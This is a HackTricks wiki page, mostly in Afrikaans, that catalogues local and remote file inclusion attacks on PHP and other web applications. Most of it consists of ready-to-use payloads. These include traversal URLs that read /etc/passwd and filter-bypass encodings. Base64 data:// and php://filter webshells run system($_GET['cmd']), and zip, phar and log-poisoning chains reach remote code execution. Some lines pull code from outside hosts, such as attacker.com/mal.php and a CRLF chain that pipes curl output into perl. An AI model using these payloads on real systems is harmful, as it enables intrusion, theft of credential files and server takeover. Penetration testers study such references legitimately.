File Inclusion/Path traversal

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en bug bounty jagters!

Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek

Regte Tyd Hack Nuus Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Bestandsinsluiting

Afgeleë Bestandsinsluiting (RFI): Die bestand word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit deaktiviseer per standaard (allow_url_include). Plaaslike Bestandsinsluiting (LFI): Die bediener laai 'n plaaslike bestand.

Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die bestand kan beheer wat deur die bediener gelaai gaan word.

Kwetsbare PHP funksies: require, require_once, include, include_once

'n Interessante hulpmiddel om hierdie kwesbaarheid te benut: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE lêers

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Deur verskeie *nix LFI-lists te meng en meer paaie by te voeg, het ek hierdie een geskep:

Probeer ook om / te verander na \ Probeer ook om ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.

Windows

Samevoeging van verskillende woordlyste:

Probeer ook om / te verander na \ Probeer ook om C:/ te verwyder en ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.

OS X

Kontroleer die LFI lys van linux.

Basiese LFI en omseilings

Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclusion toegepas word (bladsy=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traverseringsekwensies nie-recursief verwyder

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Om die byvoeging van meer karakters aan die einde van die verskafde string te omseil (omseiling van: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Dit is opgelos sedert PHP 5.4

Kodering

Jy kan nie-standaard kodering soos dubbele URL-kodering (en ander) gebruik:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Van bestaande gids

Miskien kyk die agterkant na die gids pad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Verkenning van Lêerstelsels op 'n Bediener

Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:

  1. Bepaal Directory Diepte: Bepaal die diepte van jou huidige directory deur suksesvol die /etc/passwd lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:

http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probeer vir Gidsen: Voeg die naam van die vermoedelijke gids (bv. private) by die URL, en navigeer dan terug na /etc/passwd. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:

http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpret die Uitslae: Die bediener se antwoord dui aan of die gids bestaan:

  • Fout / Geen Uitset: Die gids private bestaan waarskynlik nie op die gespesifiseerde plek nie.

  • Inhoud van /etc/passwd: Die teenwoordigheid van die private gids word bevestig.

  1. Recursiewe Verkenning: Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.

Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of /var/www/ 'n private gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Pad Truncasie Tegniek

Pad truncasie is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.

In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:

  • /etc/passwd, /etc//passwd, /etc/./passwd, en /etc/passwd/ word almal as dieselfde pad hanteer.

  • Wanneer die laaste 6 karakters passwd is, verander die toevoeging van 'n / (wat dit passwd/ maak) nie die geteikende lêer nie.

  • Op soortgelyke wyse, as .php aan 'n lêerpad gevoeg word (soos shellcode.php), sal die toevoeging van /. aan die einde nie die lêer wat toegang verkry nie, verander.

Die verskafde voorbeelde demonstreer hoe om pad truncasie te gebruik om toegang te verkry tot /etc/passwd, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.

  • Gebruik van Punte Segmente en Addisionele Karakters: Traversal sekwensies (../) gekombineer met ekstra punte segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.

  • Bepaling van die Benodigde Aantal Traversals: Deur middel van proef en fout kan 'n mens die presiese aantal ../ sekwensies vind wat nodig is om na die wortelgids te navigeer en dan na /etc/passwd, terwyl verseker word dat enige bygevoegde stringe (soos .php) geneutraliseer word, maar die gewenste pad (/etc/passwd) intakt bly.

  • Begin met 'n Vals Gids: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos a/) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om die vereistes van die bediener se pad parsingslogika te vervul.

Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.

Hierdie kwesbaarheid is reggestel in PHP 5.3.

Filter omseil truuks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php is dit standaard gedeaktiveer omdat allow_url_include Af is. Dit moet Aan wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer van jou bediener insluit en RCE verkry:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

As dit om een of ander rede allow_url_include Aan is, maar PHP filter toegang tot eksterne webbladsye, volgens hierdie pos, kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

In die vorige kode is die finale +.txt bygevoeg omdat die aanvaller 'n string nodig gehad het wat in .txt eindig, so die string eindig daarmee en na die b64-dekodeer sal daardie deel net rommel teruggee en die werklike PHP-kode sal ingesluit word (en dus, uitgevoer).

Nog 'n voorbeeld wat nie die php:// protokol gebruik nie sou wees:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Wortel element

In python in 'n kode soos hierdie:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

As die gebruiker 'n absolute pad na file_name deurgee, word die vorige pad net verwyder:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Dit is die bedoelde gedrag volgens die dokumentasie:

As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en gaan die aansluiting voort vanaf die absolute padkomponent.

Java Lys Gidsen

Dit lyk of jy 'n Pad Traversal in Java het en jy vra vir 'n gids in plaas van 'n lêer, 'n lys van die gids word teruggestuur. Dit sal nie in ander tale gebeur nie (sover ek weet).

Top 25 parameters

Hier is 'n lys van die top 25 parameters wat kwesbaar kan wees vir plaaslike lêerinvoeging (LFI) kwesbaarhede (van skakel):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI met PHP wrappers & protokolle

php://filter

PHP-filters laat basiese wysigingsoperasies op die data toe voordat dit gelees of geskryf word. Daar is 5 kategorieë filters:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: Verwyder etikette van die data (alles tussen "<" en ">" karakters)

  • Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : Transformeer na 'n ander kodering (convert.iconv.<input_enc>.<output_enc>). Om die lys van alle koderinge wat ondersteun word te kry, voer in die konsole in: iconv -l

Deur die convert.iconv.* omskakelingsfilter te misbruik, kan jy arbitraire teks genereer, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na LFI2RCE via php filters.

  • zlib.deflate: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)

  • zlib.inflate: Dekomprimeer die data

  • mcrypt.* : Verouderd

  • mdecrypt.* : Verouderd

  • Ander Filters

  • Deur in php var_dump(stream_get_filters()); te loop, kan jy 'n paar onverwagte filters vind:

  • consumed

  • dechunk: keer HTTP chunked kodering om

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Die deel "php://filter" is nie hooflettergevoelig nie

Gebruik php-filters as orakel om arbitrêre lêers te lees

In hierdie pos word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitvoer van die bediener terug te ontvang. Hierdie tegniek is gebaseer op 'n booleaanse eksfiltrasie van die lêer (karakter vir karakter) met behulp van php-filters as orakel. Dit is omdat php-filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering kan gooi.

In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:

  • Gebruik die kodek UCS-4LE om die voorste karakter van die teks aan die begin te laat en maak die grootte van die string eksponensieel groter.

  • Dit sal gebruik word om 'n teks so groot te genereer wanneer die aanvanklike letter korrek geraai word dat php 'n fout sal aktiveer.

  • Die dechunk filter sal alles verwyder as die eerste karakter nie 'n hexadesimale is nie, sodat ons kan weet of die eerste karakter hex is.

  • Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n hexadesimale karakter te maak nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php-fout veroorsaak.

  • Die kodek convert.iconv.UNICODE.CP930 transformeer elke letter in die volgende een (so na hierdie kodek: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n a is byvoorbeeld, want as ons 6 van hierdie kodek toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadesimale karakter nie, daarom het dechunk dit nie verwyder nie en die php-fout word geaktiveer omdat dit vermenigvuldig met die aanvanklike bom.

  • Deur ander transformasies soos rot13 aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeks kan gebruik word om ander letters na die hex-reeks te beweeg).

  • Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.

  • Die finale probleem is om te sien hoe om meer as die aanvanklike letter te lek. Deur orde geheuefilters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.

  • En ten einde verdere data te verkry, is die idee om 2 bytes van rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, toepas UCS-4LE om dit te pivot met die volgende 2 bytes, en verwyder die data tot die rommeldata (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.

In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: php_filters_chain_oracle_exploit.

php://fd

Hierdie wrapper laat toegang toe tot lêerdeskriptor wat die proses oop het. Potensieel nuttig om die inhoud van geopende lêers te eksfiltreer:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

U kan ook php://stdin, php://stdout en php://stderr gebruik om toegang te verkry tot die lêer beskrywings 0, 1 en 2 onderskeidelik (nie seker hoe dit nuttig kan wees in 'n aanval nie)

zip:// en rar://

Laai 'n Zip of Rar lêer op met 'n PHPShell binne en toegang dit. Om die rar protokol te kan misbruik, moet dit spesifiek geaktiveer word.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Let daarop dat hierdie protokol beperk word deur php konfigurasies allow_url_open en allow_url_include

expect://

Expect moet geaktiveer wees. Jy kan kode uitvoer met hierdie:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spesifiseer jou payload in die POST parameters:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

'n .phar-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include vir lêerlaai benut. Die PHP-kodesnit hieronder demonstreer die skepping van 'n .phar-lêer:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Om die .phar-lêer te kompileer, moet die volgende opdrag uitgevoer word:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar protocol.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Dit was moontlik om enige arbitrêre lêer wat van PHP gelees word wat php-filters ondersteun te misbruik om 'n RCE te verkry. Die gedetailleerde beskrywing kan in hierdie pos gevind word. Baie vinnige opsomming: 'n 3 byte oorgang in die PHP heap is misbruik om die ketting van vrye stukke van 'n spesifieke grootte te verander sodat dit moontlik was om enigiets in enige adres te skryf, so 'n haak is bygevoeg om system aan te roep. Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filters te misbruik.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluit aanval nie)

  • file:// — Toegang tot plaaslike lêerstelsel

  • http:// — Toegang tot HTTP(s) URL's

  • ftp:// — Toegang tot FTP(s) URL's

  • zlib:// — Kompressiestrome

  • glob:// — Vind padname wat aan patroon voldoen (Dit gee niks drukbaar terug nie, so nie regtig nuttig hier nie)

  • ssh2:// — Secure Shell 2

  • ogg:// — Klankstrome (Nie nuttig om arbitrêre lêers te lees nie)

LFI via PHP's 'assert'

Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne stringe kan uitvoer. Dit is veral problematies as invoer wat katalogus traversie karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Terwyl dit daarop gemik is om traversie te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut om lêerinhoud te lees, kan 'n aanvaller gebruik maak van:

' and die(highlight_file('/etc/passwd')) or '

Net so, om arbitrêre stelselskommando's uit te voer, kan 'n mens gebruik maak van:

' and die(system("id")) or '

Dit is belangrik om URL-encode hierdie payloads.

Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!

Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek

Regte Tyd Hack Nuus Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van regte tyd nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

PHP Blind Path Traversal

Hierdie tegniek is relevant in gevalle waar jy beheer oor die lêerpad van 'n PHP funksie het wat 'n lêer sal toegang maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na file()) maar die inhoud word nie gewys nie.

In hierdie ongelooflike pos word verduidelik hoe 'n blinde pad traversering misbruik kan word via PHP filter om die inhoud van 'n lêer via 'n fout orakel te exfiltreer.

In samevatting, die tegniek gebruik die "UCS-4LE" kodering om die inhoud van 'n lêer so groot te maak dat die PHP funksie wat die lêer oopmaak 'n fout sal veroorsaak.

Dan, om die eerste karakter te lek, word die filter dechunk gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te lek.

Funksies wat kwesbaar mag wees: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (slegs teiken lees net hiermee), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Vir die tegniese besonderhede kyk na die genoemde pos!

LFI2RCE

Remote File Inclusion

Soos voorheen verduidelik, volg hierdie skakel.

Via Apache/Nginx log lêer

As die Apache of Nginx bediener kwesbaar is vir LFI binne die insluitingsfunksie kan jy probeer om toegang te verkry tot /var/log/apache2/access.log of /var/log/nginx/access.log, stel binne die gebruikersagent of binne 'n GET parameter 'n php shell soos <?php system($_GET['c']); ?> en sluit daardie lêer in

Let daarop dat as jy dubbele aanhalings gebruik vir die shell in plaas van enkele aanhalings, die dubbele aanhalings sal verander word na die string "quote;", PHP sal 'n fout gooi daar en niks anders sal uitgevoer word nie.

Maak ook seker dat jy die payload korrek skryf of PHP sal elke keer 'n fout maak wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.

Dit kan ook in ander logs gedoen word, maar wees versigtig, die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kop authorisation "basic" bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kop ingevoeg word. Ander moontlike log paaie:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer om in te sluit in die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Laai 'n groot aantal shells op (byvoorbeeld: 100)

  2. Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, met $PID = PID van die proses (kan brute-forced word) en $FD die lêerdeskriptor (kan ook brute-forced word)

Via /proc/self/environ

Soos 'n loglêer, stuur die payload in die User-Agent, dit sal binne die /proc/self/environ lêer weerspieël word

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via oplaai

As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Om die lêer leesbaar te hou, is dit die beste om in die metadata van die prente/doc/pdf in te spuit.

Via Zip lêer opgelaai

Laai 'n ZIP-lêer op wat 'n PHP-shell gecomprimeer bevat en toegang:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP-sessies

Kontroleer of die webwerf PHP-sessie (PHPSESSID) gebruik

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Stel die koekie in op <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Gebruik die LFI om die PHP-sessie lêer in te sluit

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot <HOME>/.ssh/id_rsa

Via vsftpd logs

Die logs vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:

  1. Spuit 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.

  2. Na inspuiting, gebruik die LFI om die bedienerlogs van /var/log/vsftpd.log te verkry.

Via php base64 filter (using base64)

Soos in hierdie artikel gewys, ignoreer die PHP base64 filter eenvoudig nie-base64. Jy kan dit gebruik om die lêer uitbreiding kontrole te omseil: as jy base64 verskaf wat eindig op ".php", sal dit eenvoudig die "." ignoreer en "php" aan die base64 voeg. Hier is 'n voorbeeld payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (geen lêer nodig)

Hierdie skrywe verduidelik dat jy php filters kan gebruik om arbitrêre inhoud as uitvoer te genereer. Dit beteken basies dat jy arbitrêre php kode vir die insluiting kan genereer sonder om dit in 'n lêer te skryf.

LFI2RCE via PHP Filters

Via segmentasiefout

Laai 'n lêer op wat as tydelik in /tmp gestoor sal word, dan in die dieselfde versoek, veroorsaak 'n segmentasiefout, en dan sal die tydelike lêer nie verwyder word nie en jy kan daarna soek.

LFI2RCE via Segmentation Fault

Via Nginx tydelike lêer stoor

As jy 'n Plaaslike Lêer Insluiting gevind het en Nginx loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

As jy 'n Plaaslike Lêer Insluiting gevind het selfs al het jy nie 'n sessie nie en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST data verskaf, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te verkry:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via tydelike lêer opgelaai in Windows

As jy 'n Plaaslike Lêer Insluiting gevind het en die bediener loop in Windows, kan jy RCE verkry:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

Soos verduidelik in hierdie pos, bestaan die skrip /usr/local/lib/phppearcmd.php standaard in php docker beelde. Boonop is dit moontlik om argumente aan die skrip deur die URL te gee omdat dit aangedui word dat as 'n URL parameter nie 'n = het nie, dit as 'n argument gebruik moet word.

Die volgende versoek skep 'n lêer in /tmp/hello.php met die inhoud <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Die volgende misbruik 'n CRLF kwesbaarheid om RCE te verkry (van hier):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

As jy 'n Local File Inclusion en 'n lêer wat phpinfo() blootstel met file_uploads = on gevind het, kan jy RCE kry:

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

As jy 'n Local File Inclusion gevind het en jy kan die pad van die tydelike lêer uitvoer, MAAR die bediener kontroleer of die lêer wat ingesluit moet word PHP-merke het, kan jy probeer om daardie kontrole te omseil met hierdie Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

As jy die LFI kan misbruik om tydelike lêers op te laai en die bediener kan die PHP-uitvoering hang, kan jy dan lêernames vir ure brute force om die tydelike lêer te vind:

LFI2RCE via Eternal waiting

To Fatal Error

As jy enige van die lêers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).

Ek weet nie hoe dit nuttig is nie, maar dit mag wees. Alhoewel jy 'n PHP Fatal Error veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder.

References

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated